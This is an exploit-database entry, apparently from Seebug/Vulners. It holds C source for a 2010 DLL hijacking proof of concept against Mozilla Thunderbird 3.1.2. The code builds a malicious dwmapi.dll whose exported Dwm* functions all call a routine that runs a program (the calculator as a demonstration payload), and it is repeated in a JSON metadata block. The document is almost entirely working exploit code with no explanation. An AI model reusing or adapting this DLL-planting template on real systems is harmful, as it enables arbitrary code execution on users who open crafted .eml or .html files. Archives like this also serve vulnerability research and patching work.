Search...

Mozilla Thunderbird DLL Hijacking Exploit (dwmapi.dll)

2014-07-01T00:00:00

ID SSV:69700
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /* 
Exploit Title: Mozilla Thunderbird DLL Hijacking Exploit ( dwmapi.dll )
Date: 26/08/2010
Author: h4ck3r#47 
http://twitter.com/hxteam
Version: Latest Mozilla Thunderbird 3.1.2 
Tested on: Windows XP SP3
The code is based on the exploit from &#34;TheLeader&#34;
Vulnerable extensions: .eml .html
*/

#include &#60;windows.h&#62;
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void  DwmDefWindowProc() { evil(); }
DLLIMPORT void  DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void  DwmEnableComposition() { evil(); }
DLLIMPORT void  DwmEnableMMCSS() { evil(); }
DLLIMPORT void  DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void  DwmGetColorizationColor() { evil(); }
DLLIMPORT void  DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void  DwmGetWindowAttribute() { evil(); }
DLLIMPORT void  DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void  DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void  DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void  DwmRegisterThumbnail() { evil(); }
DLLIMPORT void  DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void  DwmSetPresentParameters() { evil(); }
DLLIMPORT void  DwmSetWindowAttribute() { evil(); }
DLLIMPORT void  DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void  DwmUpdateThumbnailProperties() { evil(); }

int evil()
{
  WinExec(&#34;calc&#34;, 0);
  exit(0);
  return 0;
}

JSON Vulners Source

Initial Source

{"lastseen": "2017-11-19T14:25:14", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "cve,poc", "enchantments": {"score": {"value": 0.4, "vector": "NONE", "modified": "2017-11-19T14:25:14", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T14:25:14", "rev": 2}, "vulnersScore": 0.4}, "href": "https://www.seebug.org/vuldb/ssvid-69700", "references": [], "enchantments_done": [], "id": "SSV:69700", "title": "Mozilla Thunderbird DLL Hijacking Exploit (dwmapi.dll)", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 2, "sourceData": "\n /* \r\nExploit Title: Mozilla Thunderbird DLL Hijacking Exploit ( dwmapi.dll )\r\nDate: 26/08/2010\r\nAuthor: h4ck3r#47 \r\nhttp://twitter.com/hxteam\r\nVersion: Latest Mozilla Thunderbird 3.1.2 \r\nTested on: Windows XP SP3\r\nThe code is based on the exploit from "TheLeader"\r\nVulnerable extensions: .eml .html\r\n*/\r\n\r\n#include <windows.h>\r\n#define DLLIMPORT __declspec (dllexport)\r\n\r\nDLLIMPORT void DwmDefWindowProc() { evil(); }\r\nDLLIMPORT void DwmEnableBlurBehindWindow() { evil(); }\r\nDLLIMPORT void DwmEnableComposition() { evil(); }\r\nDLLIMPORT void DwmEnableMMCSS() { evil(); }\r\nDLLIMPORT void DwmExtendFrameIntoClientArea() { evil(); }\r\nDLLIMPORT void DwmGetColorizationColor() { evil(); }\r\nDLLIMPORT void DwmGetCompositionTimingInfo() { evil(); }\r\nDLLIMPORT void DwmGetWindowAttribute() { evil(); }\r\nDLLIMPORT void DwmIsCompositionEnabled() { evil(); }\r\nDLLIMPORT void DwmModifyPreviousDxFrameDuration() { evil(); }\r\nDLLIMPORT void DwmQueryThumbnailSourceSize() { evil(); }\r\nDLLIMPORT void DwmRegisterThumbnail() { evil(); }\r\nDLLIMPORT void DwmSetDxFrameDuration() { evil(); }\r\nDLLIMPORT void DwmSetPresentParameters() { evil(); }\r\nDLLIMPORT void DwmSetWindowAttribute() { evil(); }\r\nDLLIMPORT void DwmUnregisterThumbnail() { evil(); }\r\nDLLIMPORT void DwmUpdateThumbnailProperties() { evil(); }\r\n\r\nint evil()\r\n{\r\n WinExec("calc", 0);\r\n exit(0);\r\n return 0;\r\n}\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-69700", "type": "seebug"}